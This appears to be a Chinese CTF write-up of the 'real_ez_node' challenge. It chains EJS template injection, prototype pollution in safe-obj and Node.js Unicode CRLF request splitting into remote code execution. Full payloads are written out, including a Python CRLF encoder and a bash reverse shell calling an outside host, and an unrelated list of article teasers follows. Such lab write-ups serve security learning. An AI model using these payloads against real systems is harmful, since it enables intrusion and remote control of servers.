[西湖论剑 2022]real_ez_node

文章目录

  • 前置知识
    • EJS模板注入(CVE-2022-29078)
    • 原型链污染漏洞 (CVE-2021-25928)
    • HTTP响应拆分攻击(CRLF)
  • 解题过程
    • 代码审计
    • 构造payload


前置知识

EJS模板注入(CVE-2022-29078)

EJS库中有一个渲染函数非常特别
数据和选项通过这个函数合并在一起utils.shallowCopyFromList,所以理论上我们可以用数据覆盖模板选项

exports.render = function (template, d, o) {var data = d || {};var opts = o || {};// No options object -- if there are optiony names// in the data, copy them to optionsif (arguments.length == 2) {utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);}return handleCache(opts, template)(data);
};

但是继续发现它仅复制位于定义的传递列表中的数据

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug','client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];

不过在 renderFile 函数里找到了RCE漏洞

// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {utils.shallowCopy(opts, viewOpts);
}

在 Express ejs 的情况下,它view options会将所有内容无限制地复制到选项中,现在我们需要的只是找到模板主体中包含的选项而不转义

prepended +='  var __output = "";\n' +'  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

因此,如果我们在选项中注入代码,outputFunctionName它将包含在源代码中。
有效负载是这样的x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s

一般原型链污染构造payload如下

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor.load('child_process').exec('calc');//"}}
{"__proto__":{"outputFunctionName":"_tmp1;return global.process.mainModule.constructor.load('child_process').exec('calc');__tmp2"}}

原型链污染漏洞 (CVE-2021-25928)

漏洞poc如下

var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj. expand (obj,'__proto__.polluted','Yes! Its Polluted');
console.log("After : " + {}.polluted);

expand函数定义如下
在这里插入图片描述该函数有三个参数obj、path、thing
当我们调用该函数时,执行过程如下

obj={},path="__proto__.polluted",thing="Yes! Its Polluted"

当执行完path.split('.')时,path被分成两部分,props数组如下

props=(2){"__proto__","polluted"}

由于length长度为2,进入else语句,执行完shift()

prop="__proto__",props="polluted"

下面再次调用expand函数的时候就相当于调用

expand(obj[__proto__],"polluted","Yes! Its Polluted")

然后再次递归,此时length为1

props=["polluted"]

if语句为True,执行obj[props.shift()]=thing
相当于执行 obj[proto][“polluted”]=“Yes! Its Polluted”,造成原型链污染

HTTP响应拆分攻击(CRLF)

在版本条件 nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击,(Node.js10中被修复),当 Node.js 使用 http.get (关键函数)向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击。

补充说明:CRLF指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)

由于nodejs的HTTP库包含了阻止CRLF的措施,即如果你尝试发出一个URL路径中含有回车、换行或空格等控制字符的HTTP请求是,它们会被URL编码,所以正常的CRLF注入在nodejs中并不能利用

var http = require("http")
http.get('http://47.101.57.72:4000/\r\n/WHOAMI').output

结果如下,我们可以发现并没有实现换行

GET /%0D%0A/WHOAMI HTTP/1.1
Host: 47.101.57.72:4000
Connection: close

但是如果包含一些高编号的Unicode字符
当 Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符

var http = require("http")
http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
结果为[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为 latin1 写入路径时,\u{010D}\u{010A}将分别被截断为 “\r”(%0d)和 “\n”(%0a)

GET /
/WHOAMI HTTP/1.1
Host: 47.101.57.72:4000
Connection: close

可见,通过在请求路径中包含精心选择的Unicode字符,攻击者可以欺骗Node.js并成功实现CRLF注入。

对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30:
在这里插入图片描述
构造脚本如下

payload = ''' HTTP/1.1[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求GET / HTTP/1.1
test:'''.replace("\n","\r\n")payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \print(payload)

解题过程

代码审计

app.js

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({secret : 'secret', // 对session id 相关的cookie 进行签名resave : true,saveUninitialized: false, // 是否保存未初始化的会话cookie : {maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒},
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) {    // 设置使用 ejs 模板引擎 
//   fs.readFile(filePath, (err, content) => {
//       if (err) return callback(new Error(err))
//       let compiled = lodash.template(content)    // 使用 lodash.template 创建一个预编译模板方法供后面使用
//       let rendered = compiled()//       return callback(null, rendered)
//   })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {next(createError(404));
});// error handler
app.use(function(err, req, res, next) {// set locals, only providing error in developmentres.locals.message = err.message;res.locals.error = req.app.get('env') === 'development' ? err : {};// render the error pageres.status(err.status || 500);res.render('error');
});module.exports = app;

可以发现使用的是ejs模板引擎,我们再查看下版本
打开package.json,版本是3.0.1,可以原型链污染RCE
在这里插入图片描述
index.js

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{if (req.query.q) {console.log('get q');}res.render('index');
})
router.post('/copy',(req,res)=>{res.setHeader('Content-type','text/html;charset=utf-8')var ip = req.connection.remoteAddress;console.log(ip);var obj = {msg: '',}if (!ip.includes('127.0.0.1')) {obj.msg="only for admin"res.send(JSON.stringify(obj));return }let user = {};for (let index in req.body) {if(!index.includes("__proto__")){safeobj.expand(user, index, req.body[index])}}res.render('index');
})router.get('/curl', function(req, res) {var q = req.query.q;var resp = "";if (q) {var url = 'http://localhost:3000/?q=' + qtry {http.get(url,(res1)=>{const { statusCode } = res1;const contentType = res1.headers['content-type'];let error;// 任何 2xx 状态码都表示成功响应,但这里只检查 200。if (statusCode !== 200) {error = new Error('Request Failed.\n' +`Status Code: ${statusCode}`);}if (error) {console.error(error.message);// 消费响应数据以释放内存res1.resume();return;}res1.setEncoding('utf8');let rawData = '';res1.on('data', (chunk) => { rawData += chunk;res.end('request success') });res1.on('end', () => {try {const parsedData = JSON.parse(rawData);res.end(parsedData+'');} catch (e) {res.end(e.message+'');}});}).on('error', (e) => {res.end(`Got error: ${e.message}`);})res.end('ok');} catch (error) {res.end(error+'');}} else {res.send("search param 'q' missing!");}
})
module.exports = router;

分析:

  1. /copy路由下,首先检查ip地址是否为127.0.0.1,然后过滤了__proto__关键字(我们可以constructor.prototype代替),接着出现能造成原型链污染的函数safeobj.expand()
  2. /curl路由下的存在ssrf利用点

思路是通过/curl路由利用CRLF以本地(127.0.0.1)身份向/copy发送POST请求,然后打ejs污染原型链 实现代码执行

构造payload

我们先构造原型链污染payload

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"}
}

但是__proto__被过滤了,修改一下

{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"
}

这里为什么要改为constructor.prototype.outputFunctionName,可以在前置知识那了解expand函数的执行过程

然后就是修改CRLF注入脚本

payload = ''' HTTP/1.1POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 191{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"
}
'''.replace("\n","\r\n")payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \print(payload)

我的长度为191,这个可以自己bp发包看看

在这里插入图片描述
不过NSS的这道题不能反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/140009.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

.net在使用存储过程中IN参数的拼接方案,使用Join()方法

有时候拼接SQL语句时&#xff0c;可能会需要将list中的元素都加上单引号&#xff0c;并以逗号分开&#xff0c;但是Join只能简单的分开&#xff0c;没有有单引号&#xff01; 1.第一种拼接方案 List<string> arrIds new List<string>(); arrIds.Add("aa&qu…

Cross-Origin跨站问题详解(跨站请求、跨站cookie)

背景&#xff1a;我部署frontend和backend到两个不同的docker容器&#xff0c;前端路径为http://localhost:3000&#xff0c;后端路径为http://localhost:4000。我设置了用户登录功能&#xff0c;并使用cookie进行session管理。当我的前端登录时&#xff0c;创建了一个session&…

【Java 进阶篇】Java与JQuery选择器:解锁前端开发的魔法大门

在前端开发的世界中&#xff0c;选择器是我们与HTML文档进行互动的钥匙&#xff0c;而Java和JQuery则为我们提供了强大的工具&#xff0c;使得前端开发不再是一个艰深的谜题。本篇博客将围绕Java与JQuery选择器展开&#xff0c;深入解析选择器的奥秘&#xff0c;为你打开前端开…

C++ 模板保姆级详解——template<class T>(什么是模板?模板分哪几类?模板如何应用?)

目录 一、前言 二、 什么是C模板 &#x1f4a6;泛型编程的思想 &#x1f4a6;C模板的分类 三、函数模板 &#x1f4a6;函数模板概念 &#x1f4a6;函数模板格式 &#x1f4a6;函数模板的原理 &#x1f4a6;函数模板的实例化 &#x1f34e;隐式实例化 &#x1f349;显式实…

【STM32】TIM2的PWM:脉冲宽度调制--标准库

注意点&#xff1a; TIM_Period---->指要进行比较的值Compare TIM_Prescaler----> 指要进行分频的值【分频值/原始时钟值】 PWM是一种周期固定&#xff0c;脉宽可调整的输出波形。 https://www.cnblogs.com/brianblog/p/7117896.html 0.通用寄存器输出 1.捕获/比较通道…

面向萌新的技术博客入门指南

Python之禅 在Python的解释器中隐藏一个彩蛋&#xff0c;输入import this就会返回19条Python之禅&#xff0c;具体如下&#xff1a; import this The Zen of Python, by Tim Peters Python之禅 &#xff0c;by Tim Peters Beautiful is better than ugly. 优美好于丑陋&…

clouldcompare工具使用

文章目录 1.界面1.1 布局1.3 视觉显示方向1.4 放大镜1.5 建立旋转中心2.快速入门2.1 剪裁2.2 多点云拼接 1.界面 1.1 布局 参考&#xff1a;https://blog.csdn.net/lovely_yoshino/article/details/129595201 1.3 视觉显示方向 1.4 放大镜 1.5 建立旋转中心 2.快速入门 2.1 …

开源:特殊的垄断

免责声明&#xff1a;本博客旨在分享我对开源策略的理解和体会&#xff0c;不代表任何组织或机构的立场或观点&#xff0c;也不构成任何商业或投资的建议或担保。本博客的内容可能存在错误或遗漏&#xff0c;也可能随着时间的推移而变得过时或不适用。请在使用或依赖本博客的内…

open clip论文阅读摘要

看下open clip论文 Learning Transferable Visual Models From Natural Language Supervision These results suggest that the aggregate supervision accessible to modern pre-training methods within web-scale collections of text surpasses that of high-quality crowd…

记录--vue3 setup 中国省市区三级联动options最简洁写法,无需任何库

这里给大家分享我在网上总结出来的一些知识&#xff0c;希望对大家有所帮助 在写页面的时候&#xff0c;发现表单里面有一个省市区的 options 组件要写&#xff0c;因为表单很多地方都会用到这个地址选择&#xff0c;我便以为很简单嘛。 虽然很简单的一个功能&#xff0c;但是网…

如何使用ArcGIS Pro制作个性三维地形图

制作三维地图制作的多了&#xff0c;想着能不能换个“口味”&#xff0c;恰好看见制作六边形蜂窝图&#xff0c;灵光一闪&#xff0c;想着将二者结合&#xff0c;将平滑的三维地形图改成柱状图&#xff0c;从结果来看还可以&#xff0c;这里将制作方法分享给大家&#xff0c;希…

Leetcode2833. 距离原点最远的点

Every day a Leetcode 题目来源&#xff1a;2833. 距离原点最远的点 解法1&#xff1a;贪心 要使得到达的距离原点最远的点&#xff0c;就看 left 和 right 谁大&#xff0c;将 left 和 right 作为矢量相加&#xff0c;再往同方向加上 underline。 答案即为 abs(left - rig…

Windows 安装 Maven

目录 安装 JDK下载 Maven配置阿里云镜像配置环境变量 安装 JDK Windows 安装 JDK 下载 Maven 下载地址&#xff1a;https://maven.apache.org/download.cgi 下载 apache-maven-3.9.5-bin.zip 到本地解压到 D:\Software\apache-maven-3.9.5 配置阿里云镜像 配置阿里云远程仓…

docker更改存储目录原因及方案

为什么一定要将docker的存储目录挂载到其他目录 docker在安装时默认存储目录在/var/lib/docker&#xff0c;而该目录是在系统盘下的。docker安装后&#xff0c;会使用各种各样的镜像&#xff0c;动辄几个G&#xff0c;那么如此多的镜像文件&#xff0c;装着装着系统盘就撑爆了…

Halcon WPF 开发学习笔记(4):Halcon 锚点坐标打印

文章目录 专栏前言锚点二次开发添加回调函数辅助Model类 下集预告 专栏 Halcon开发 博客专栏 WPF/HALCON机器视觉合集 前言 Halcon控件C#开发是我们必须掌握的&#xff0c;因为只是单纯的引用脚本灵活性过低&#xff0c;我们要拥有Halcon辅助开发的能力 锚点开发是我们常用的…

【笔记】结合P02项目——maven继承与聚合

maven的继承关系 P02项目大概是这个样子&#xff0c;下图展示的是其父工程 父工程配置了parent依赖springb-boot-starter-parent&#xff0c;子工程配置其parant为父工程 子工程引用common子工程 maven的版本锁定 管理子工程的版本号问题 父工程添加dependencyManageMent…

P6入门:项目初始化3-项目详情之记事本Notebook

前言 使用项目详细信息查看和编辑有关所选项目的详细信息&#xff0c;在项目创建完成后&#xff0c;初始化项目是一项非常重要的工作&#xff0c;涉及需要设置的内容包括项目名&#xff0c;ID,责任人&#xff0c;日历&#xff0c;预算&#xff0c;资金&#xff0c;分类码等等&…

机器学习——实践

目录 一、数据集划分 1、交叉验证 2、不平衡数据的处理 代价敏感学习 二、评价指标 三、正则化、偏差和方差 为什么要标准化/归一化&#xff1f; 过拟合的处理——Dropout 过拟合的处理——Early stopping 过拟合的处理——数据增强 偏差和方差 ​编辑 一、数据集划分…

ida81输入密码验证算法分析以及破解思路

本文分析了ida81对输入密码的验证流程&#xff0c;分别对输入密码到生成解密密钥、密码素材的生成过程以及文件数据的加密过程这三个流程进行分析&#xff0c;并尝试找一些可利用的破绽。很遗憾&#xff0c;由于水平有限&#xff0c;目前也只是有个思路未能完全实现&#xff0c…

【C++】单例模式【两种实现方式】

目录 一、了解单例模式前的基础题 1、设计一个类&#xff0c;不能被拷贝 2、设计一个类&#xff0c;只能在堆上创建对象 3、设计一个类&#xff0c;只能在栈上创建对象 4、设计一个类&#xff0c;不能被继承 二、单例模式 1、单例模式的概念 2、单例模式的两种实现方式 …